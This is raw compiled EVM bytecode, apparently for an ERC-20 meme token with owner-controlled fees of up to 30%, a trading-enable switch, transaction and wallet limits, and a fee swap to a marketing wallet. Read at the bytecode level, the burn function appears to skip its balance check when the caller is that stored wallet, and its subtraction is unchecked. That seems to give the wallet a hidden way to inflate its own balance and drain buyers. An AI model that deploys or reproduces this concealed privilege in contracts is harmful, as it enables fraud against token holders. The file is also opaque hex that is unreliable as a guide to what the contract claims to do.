b51565b5b62000dde825462000bab565b62000deb82828562000d14565b5f60209050601f83116001811462000e21575f841562000e0c578287015190505b62000e18858262000d8e565b86555062000e87565b601f19841662000e318662000bdf565b5f5b8281101562000e5a5784890151825560018201915060208501945060208101905062000e33565b8683101562000e7a578489015162000e76601f89168262000d70565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000ebe8262000e93565b9050919050565b62000ed08162000eb2565b811462000edb575f80fd5b50565b5f8151905062000eee8162000ec5565b92915050565b5f6020828403121562000f0c5762000f0b62000e8f565b5b5f62000f1b8482850162000ede565b91505092915050565b62000f2f8162000eb2565b82525050565b5f60408201905062000f4a5f83018562000f24565b62000f59602083018462000f24565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f62000f998262000c61565b915062000fa68362000c61565b925082820262000fb68162000c61565b9150828204841483151762000fd05762000fcf62000f60565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620010108262000c61565b91506200101d8362000c61565b92508262001030576200102f62000fd7565b5b828204905092915050565b5f82825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f620010816020836200103b565b91506200108e826200104b565b602082019050919050565b5f6020820190508181035f830152620010b28162001073565b9050919050565b5f8115159050919050565b620010cf81620010b9565b82525050565b5f602082019050620010ea5f830184620010c4565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62001126601f836200103b565b91506200113382620010f0565b602082019050919050565b5f6020820190508181035f830152620011578162001118565b9050919050565b5f6200116a8262000c61565b9150620011778362000c61565b925082820190508082111562001192576200119162000f60565b5b92915050565b620011a38162000c61565b82525050565b5f602082019050620011be5f83018462001198565b92915050565b6080516146db620012075f395f818161099b01528181611445015281816114730152818161155f0152818161306701528181613146015261316d01526146db5ff3fe608060405260043610610233575f3560e01c8063751039fc1161012d578063c0246668116100aa578063dd62ed3e1161006e578063dd62ed3e1461080c578063e2f4560514610848578063eba4c33314610872578063f2fde38b1461089a578063f8b45b05146108c25761023a565b8063c02466681461072a578063c8c8ebe414610752578063cce987d41461077c578063d257b34f146107a6578063d85ba063146107e25761023a565b806395d89b41116100f157806395d89b41146106365780639618839914610660578063a457c2d714610688578063a9059cbb146106c4578063bbc0c742146107005761023a565b8063751039fc1461059a5780637571336a146105b057806375f0a874146105d85780638a8c523c146106025780638da5cb5b1461060c5761023a565b806342966c68116101bb5780636db794371161017f5780636db79437146104ce5780636ddd1713146104f657806370a0823114610520578063715018a61461055c57806371fc4688146105725761023a565b806342966c68146103ee57806349bd5a5e146104165780634fbee1931461044057806360a6f45a1461047c5780636a486a8e146104a45761023a565b806319e1fca41161020257806319e1fca4146102f857806323b872dd1461032257806327c8f8351461035e578063313ce5671461038857806339509351146103b25761023a565b806306fdde031461023e578063095ea7b3146102685780631694505e146102a457806318160ddd146102ce5761023a565b3661023a57005b5f80fd5b348015610249575f80fd5b506102526108ec565b60405161025f9190613287565b60405180910390f35b348015610273575f80fd5b5061028e60048036038101906102899190613338565b61097c565b60405161029b9190613390565b60405180910390f35b3480156102af575f80fd5b506102b8610999565b6040516102c59190613404565b60405180910390f35b3480156102d9575f80fd5b506102e26109bd565b6040516102ef919061342c565b60405180910390f35b348015610303575f80fd5b5061030c6109c6565b604051610319919061342c565b60405180910390f35b34801561032d575f80fd5b5061034860048036038101906103439190613445565b6109cc565b6040516103559190613390565b60405180910390f35b348015610369575f80fd5b50610372610abe565b60405161037f91906134a4565b60405180910390f35b348015610393575f80fd5b5061039c610ac4565b6040516103a991906134d8565b60405180910390f35b3480156103bd575f80fd5b506103d860048036038101906103d39190613338565b610acc565b6040516103e59190613390565b60405180910390f35b3480156103f9575f80fd5b50610414600480360381019061040f91906134f1565b610b73565b005b348015610421575f80fd5b5061042a610b80565b60405161043791906134a4565b60405180910390f35b34801561044b575f80fd5b506104666004803603810190610461919061351c565b610ba5565b6040516104739190613390565b60405180910390f35b348015610487575f80fd5b506104a2600480360381019061049d919061351c565b610bf7565b005b3480156104af575f80fd5b506104b8610ecb565b6040516104c5919061342c565b60405180910390f35b3480156104d9575f80fd5b506104f460048036038101906104ef9190613547565b610ed1565b005b348015610501575f80fd5b5061050a610feb565b6040516105179190613390565b60405180910390f35b34801561052b575f80fd5b506105466004803603810190610541919061351c565b610ffe565b604051610553919061342c565b60405180910390f35b348015610567575f80fd5b50610570611043565b005b34801561057d575f80fd5b50610598600480360381019061059391906134f1565b6110ca565b005b3480156105a5575f80fd5b506105ae611196565b005b3480156105bb575f80fd5b506105d660048036038101906105d191906135af565b611230565b005b3480156105e3575f80fd5b506105ec611304565b6040516105f991906134a4565b60405180910390f35b61060a611329565b005b348015610617575f80fd5b50610620611636565b60405161062d91906134a4565b60405180910390f35b348015610641575f80fd5b5061064a61165e565b6040516106579190613287565b60405180910390f35b34801561066b575f80fd5b5061068660048036038101906106819190613547565b6116ee565b005b348015610693575f80fd5b506106ae60048036038101906106a99190613338565b611840565b6040516106bb9190613390565b60405180910390f35b3480156106cf575f80fd5b506106ea60048036038101906106e59190613338565b611926565b6040516106f79190613390565b60405180910390f35b34801561070b575f80fd5b50610714611943565b6040516107219190613390565b60405180910390f35b348015610735575f80fd5b50610750600480360381019061074b91906135af565b611956565b005b34801561075d575f80fd5b50610766611a78565b604051610773919061342c565b60405180910390f35b348015610787575f80fd5b50610790611a7e565b60405161079d919061342c565b60405180910390f35b3480156107b1575f80fd5b506107cc60048036038101906107c791906134f1565b611a84565b6040516107d99190613390565b60405180910390f35b3480156107ed575f80fd5b506107f6611bd8565b604051610803919061342c565b60405180910390f35b348015610817575f80fd5b50610832600480360381019061082d91906135ed565b611bde565b60405161083f919061342c565b60405180910390f35b348015610853575f80fd5b5061085c611c60565b604051610869919061342c565b60405180910390f35b34801561087d575f80fd5b50610898600480360381019061089391906134f1565b611c66565b005b3480156108a5575f80fd5b506108c060048036038101906108bb919061351c565b611d32565b005b3480156108cd575f80fd5b506108d6611e28565b6040516108e3919061342c565b60405180910390f35b6060600380546108fb90613658565b80601f016020809104026020016040519081016040528092919081815260200182805461092790613658565b80156109725780601f1061094957610100808354040283529160200191610972565b820191905f5260205f20905b81548152906001019060200180831161095557829003601f168201915b5050505050905090565b5f61098f610988611e2e565b8484611e35565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f600254905090565b60055481565b5f6109d8848484611ff8565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610a1f611e2e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a95906136f8565b60405180910390fd5b610ab285610aaa611e2e565b858403611e35565b60019150509392505050565b61dead81565b5f6012905090565b5f610b69610ad8611e2e565b848460015f610ae5611e2e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610b649190613743565b611e35565b6001905092915050565b610b7d3382612995565b50565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610bff611e2e565b73ffffffffffffffffffffffffffffffffffffffff16610c1d611636565b73ffffffffffffffffffffffffffffffffffffffff1614610c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6a906137c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d16575f3373ffffffffffffffffffffffffffffffffffffffff1647604051610ccb9061380b565b5f6040518083038185875af1925050503d805f8114610d05576040519150601f19603f3d011682016040523d82523d5f602084013e610d0a565b606091505b50508091505050610ec8565b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610d5091906134a4565b602060405180830381865afa158015610d6b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d8f9190613833565b11610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc6906138a8565b60405180910390fd5b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e0991906134a4565b602060405180830381865afa158015610e24573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e489190613833565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610e859291906138c6565b6020604051808303815f875af1158015610ea1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ec59190613901565b50505b50565b600e5481565b610ed9611e2e565b73ffffffffffffffffffffffffffffffffffffffff16610ef7611636565b73ffffffffffffffffffffffffffffffffffffffff1614610f4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f44906137c0565b60405180910390fd5b81600d8190555080600e81905550601e600d541115610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f989061399c565b60405180910390fd5b601e600e541115610fe7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fde9061399c565b60405180910390fd5b5050565b600c60159054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61104b611e2e565b73ffffffffffffffffffffffffffffffffffffffff16611069611636565b73ffffffffffffffffffffffffffffffffffffffff16146110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b6906137c0565b60405180910390fd5b6110c85f612b70565b565b6110d2611e2e565b73ffffffffffffffffffffffffffffffffffffffff166110f0611636565b73ffffffffffffffffffffffffffffffffffffffff1614611146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113d906137c0565b60405180910390fd5b80600d81905550601e600d541115611193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118a9061399c565b60405180910390fd5b50565b61119e611e2e565b73ffffffffffffffffffffffffffffffffffffffff166111bc611636565b73ffffffffffffffffffffffffffffffffffffffff1614611212576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611209906137c0565b60405180910390fd5b61121a6109bd565b600b819055506112286109bd565b600881905550565b611238611e2e565b73ffffffffffffffffffffffffffffffffffffffff16611256611636565b73ffffffffffffffffffffffffffffffffffffffff16146112ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a3906137c0565b60405180910390fd5b8060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611331611e2e565b73ffffffffffffffffffffffffffffffffffffffff1661134f611636565b73ffffffffffffffffffffffffffffffffffffffff16146113a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139c906137c0565b60405180910390fd5b600c60149054906101000a900460ff16156113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ec90613a04565b60405180910390fd5b5f6113ff30610ffe565b9050600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600581905550611471307f000000000000000000000000000000000000000000000000000000000000000061146c6109bd565b611e35565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d7194730845f806114ba611636565b426040518863ffffffff1660e01b81526004016114dc96959493929190613a5b565b60606040518083038185885af11580156114f8573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061151d9190613aba565b50505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f00000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016115bc9291906138c6565b6020604051808303815f875af11580156115d8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115fc9190613901565b506001600c60146101000a81548160ff0219169083151502179055506001600c60156101000a81548160ff02191690831515021790555050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461166d90613658565b80601f016020809104026020016040519081016040528092919081815260200182805461169990613658565b80156116e45780601f106116bb576101008083540402835291602001916116e4565b820191905f5260205f20905b8154815290600101906020018083116116c757829003601f168201915b5050505050905090565b6116f6611e2e565b73ffffffffffffffffffffffffffffffffffffffff16611714611636565b73ffffffffffffffffffffffffffffffffffffffff161461176a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611761906137c0565b60405180910390fd5b606460026117766109bd565b6117809190613b0a565b61178a9190613b78565b8210156117cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c390613c18565b60405180910390fd5b606460026117d86109bd565b6117e29190613b0a565b6117ec9190613b78565b81101561182e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182590613ca6565b60405180910390fd5b80600b81905550816008819055505050565b5f8060015f61184d611e2e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe90613d34565b60405180910390fd5b61191b611912611e2e565b85858403611e35565b600191505092915050565b5f611939611932611e2e565b8484611ff8565b6001905092915050565b600c60149054906101000a900460ff1681565b61195e611e2e565b73ffffffffffffffffffffffffffffffffffffffff1661197c611636565b73ffffffffffffffffffffffffffffffffffffffff16146119d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c9906137c0565b60405180910390fd5b80600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611a6c9190613390565b60405180910390a25050565b60085481565b600a5481565b5f611a8d611e2e565b73ffffffffffffffffffffffffffffffffffffffff16611aab611636565b73ffffffffffffffffffffffffffffffffffffffff1614611b01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af8906137c0565b60405180910390fd5b620186a06001611b0f6109bd565b611b199190613b0a565b611b239190613b78565b821015611b65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5c90613dc2565b60405180910390fd5b6103e86005611b726109bd565b611b7c9190613b0a565b611b869190613b78565b821115611bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbf90613e50565b60405180910390fd5b8160098190555060019050919050565b600d5481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60095481565b611c6e611e2e565b73ffffffffffffffffffffffffffffffffffffffff16611c8c611636565b73ffffffffffffffffffffffffffffffffffffffff1614611ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd9906137c0565b60405180910390fd5b80600e81905550601e600e541115611d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d269061399c565b60405180910390fd5b50565b611d3a611e2e565b73ffffffffffffffffffffffffffffffffffffffff16611d58611636565b73ffffffffffffffffffffffffffffffffffffffff1614611dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da5906137c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611e1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1390613ede565b60405180910390fd5b611e2581612b70565b50565b600b5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ea3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9a90613f6c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0890613ffa565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611feb919061342c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612066576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205d90614088565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120cb90614116565b60405180910390fd5b5f81036120eb576120e683835f612c33565b612990565b6120f3611636565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156121615750612131611636565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561219957505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156121d3575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156121ec5750600760149054906101000a900460ff16155b156125ba57600c60149054906101000a900460ff166122e057600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806122a05750600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6122df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d69061417e565b60405180910390fd5b5b60115f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16801561237d575060105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612424576008548111156123c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123be9061420c565b60405180910390fd5b600b546123d383610ffe565b826123de9190613743565b111561241f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241690614274565b60405180910390fd5b6125b9565b60115f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156124c1575060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156125105760085481111561250b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250290614302565b60405180910390fd5b6125b8565b60105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166125b757600b5461256a83610ffe565b826125759190613743565b11156125b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ad90614274565b60405180910390fd5b5b5b5b5b5f6125c430610ffe565b90505f60095482101590508080156125e85750600c60159054906101000a900460ff165b80156126015750600760149054906101000a900460ff16155b8015612654575060115f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156126a75750600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156126fa5750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561278b57600360125f4381526020019081526020015f2054101561278a576001600760146101000a81548160ff02191690831515021790555061273c612ea8565b5f600760146101000a81548160ff021916908315150217905550600160125f4381526020019081526020015f20546127749190613743565b60125f4381526020019081526020015f20819055505b5b5f600760149054906101000a900460ff16159050600f5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061283a5750600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612843575f90505b5f81156129805760115f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156128a157505f600e54115b156128d5576128ce60646128c0600e5488612f7590919063ffffffff16565b612f8a90919063ffffffff16565b905061295d565b60115f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16801561292c57505f600d54115b1561295c57612959606461294b600d5488612f7590919063ffffffff16565b612f8a90919063ffffffff16565b90505b5b5f81111561297157612970873083612c33565b5b808561297d9190614320565b94505b61298b878787612c33565b505050505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129fa906143c3565b60405180910390fd5b612a0e825f83612f9f565b5f805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101580612a615750612a60612fa4565b5b612aa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a9790614451565b60405180910390fd5b8181035f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f828254612af49190614320565b925050819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b58919061342c565b60405180910390a3612b6b835f84612fc5565b505050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612ca1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c9890614088565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612d0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d0690614116565b60405180910390fd5b612d1a838383612f9f565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d94906144df565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254612e2b9190613743565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612e8f919061342c565b60405180910390a3612ea2848484612fc5565b50505050565b5f612eb230610ffe565b90505f808203612ec3575050612f73565b600a54821115612ed357600a5491505b5f829050612ee081612fca565b5f479050600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051612f299061380b565b5f6040518083038185875af1925050503d805f8114612f63576040519150601f19603f3d011682016040523d82523d5f602084013e612f68565b606091505b505080935050505050505b565b5f8183612f829190613b0a565b905092915050565b5f8183612f979190613b78565b905092915050565b505050565b5f3373ffffffffffffffffffffffffffffffffffffffff1660055414905090565b505050565b5f600267ffffffffffffffff811115612fe657612fe56144fd565b5b6040519080825280602002602001820160405280156130145781602001602082028036833780820191505090505b50905030815f8151811061302b5761302a61452a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156130ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906130f2919061456b565b816001815181106131065761310561452a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061316b307f000000000000000000000000000000000000000000000000000000000000000084611e35565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016131cc95949392919061464d565b5f604051808303815f87803b1580156131e3575f80fd5b505af11580156131f5573d5f803e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015613234578082015181840152602081019050613219565b5f8484015250505050565b5f601f19601f8301169050919050565b5f613259826131fd565b6132638185613207565b9350613273818560208601613217565b61327c8161323f565b840191505092915050565b5f6020820190508181035f83015261329f818461324f565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6132d4826132ab565b9050919050565b6132e4816132ca565b81146132ee575f80fd5b50565b5f813590506132ff816132db565b92915050565b5f819050919050565b61331781613305565b8114613321575f80fd5b50565b5f813590506133328161330e565b92915050565b5f806040838503121561334e5761334d6132a7565b5b5f61335b858286016132f1565b925050602061336c85828601613324565b9150509250929050565b5f8115159050919050565b61338a81613376565b82525050565b5f6020820190506133a35f830184613381565b92915050565b5f819050919050565b5f6133cc6133c76133c2846132ab565b6133a9565b6132ab565b9050919050565b5f6133dd826133b2565b9050919050565b5f6133ee826133d3565b9050919050565b6133fe816133e4565b82525050565b5f6020820190506134175f8301846133f5565b92915050565b61342681613305565b82525050565b5f60208201905061343f5f83018461341d565b92915050565b5f805f6060848603121561345c5761345b6132a7565b5b5f613469868287016132f1565b935050602061347a868287016132f1565b925050604061348b86828701613324565b9150509250925092565b61349e816132ca565b82525050565b5f6020820190506134b75f830184613495565b92915050565b5f60ff82169050919050565b6134d2816134bd565b82525050565b5f6020820190506134eb5f8301846134c9565b92915050565b5f60208284031215613506576135056132a7565b5b5f61351384828501613324565b91505092915050565b5f60208284031215613531576135306132a7565b5b5f61353e848285016132f1565b91505092915050565b5f806040838503121561355d5761355c6132a7565b5b5f61356a85828601613324565b925050602061357b85828601613324565b9150509250929050565b61358e81613376565b8114613598575f80fd5b50565b5f813590506135a981613585565b92915050565b5f80604083850312156135c5576135c46132a7565b5b5f6135d2858286016132f1565b92505060206135e38582860161359b565b9150509250929050565b5f8060408385031215613603576136026132a7565b5b5f613610858286016132f1565b9250506020613621858286016132f1565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061366f57607f821691505b6020821081036136825761368161362b565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f6136e2602883613207565b91506136ed82613688565b604082019050919050565b5f6020820190508181035f83015261370f816136d6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61374d82613305565b915061375883613305565b92508282019050808211156137705761376f613716565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6137aa602083613207565b91506137b582613776565b602082019050919050565b5f6020820190508181035f8301526137d78161379e565b9050919050565b5f81905092915050565b50565b5f6137f65f836137de565b9150613801826137e8565b5f82019050919050565b5f613815826137eb565b9150819050919050565b5f8151905061382d8161330e565b92915050565b5f60208284031215613848576138476132a7565b5b5f6138558482850161381f565b91505092915050565b7f45524332303a204e6f20746f6b656e7320746f207769746864726177000000005f82015250565b5f613892601c83613207565b915061389d8261385e565b602082019050919050565b5f6020820190508181035f8301526138bf81613886565b9050919050565b5f6040820190506138d95f830185613495565b6138e6602083018461341d565b9392505050565b5f815190506138fb81613585565b92915050565b5f60208284031215613916576139156132a7565b5b5f613923848285016138ed565b91505092915050565b7f45524332303a204d757374206b656570206665657320617420333025206f72205f8201527f6c65737300000000000000000000000000000000000000000000000000000000602082015250565b5f613986602483613207565b91506139918261392c565b604082019050919050565b5f6020820190508181035f8301526139b38161397a565b9050919050565b7f54726164696e6720616c7265616479206163746976652e0000000000000000005f82015250565b5f6139ee601783613207565b91506139f9826139ba565b602082019050919050565b5f6020820190508181035f830152613a1b816139e2565b9050919050565b5f819050919050565b5f613a45613a40613a3b84613a22565b6133a9565b613305565b9050919050565b613a5581613a2b565b82525050565b5f60c082019050613a6e5f830189613495565b613a7b602083018861341d565b613a886040830187613a4c565b613a956060830186613a4c565b613aa26080830185613495565b613aaf60a083018461341d565b979650505050505050565b5f805f60608486031215613ad157613ad06132a7565b5b5f613ade8682870161381f565b9350506020613aef8682870161381f565b9250506040613b008682870161381f565b9150509250925092565b5f613b1482613305565b9150613b1f83613305565b9250828202613b2d81613305565b91508282048414831517613b4457613b43613716565b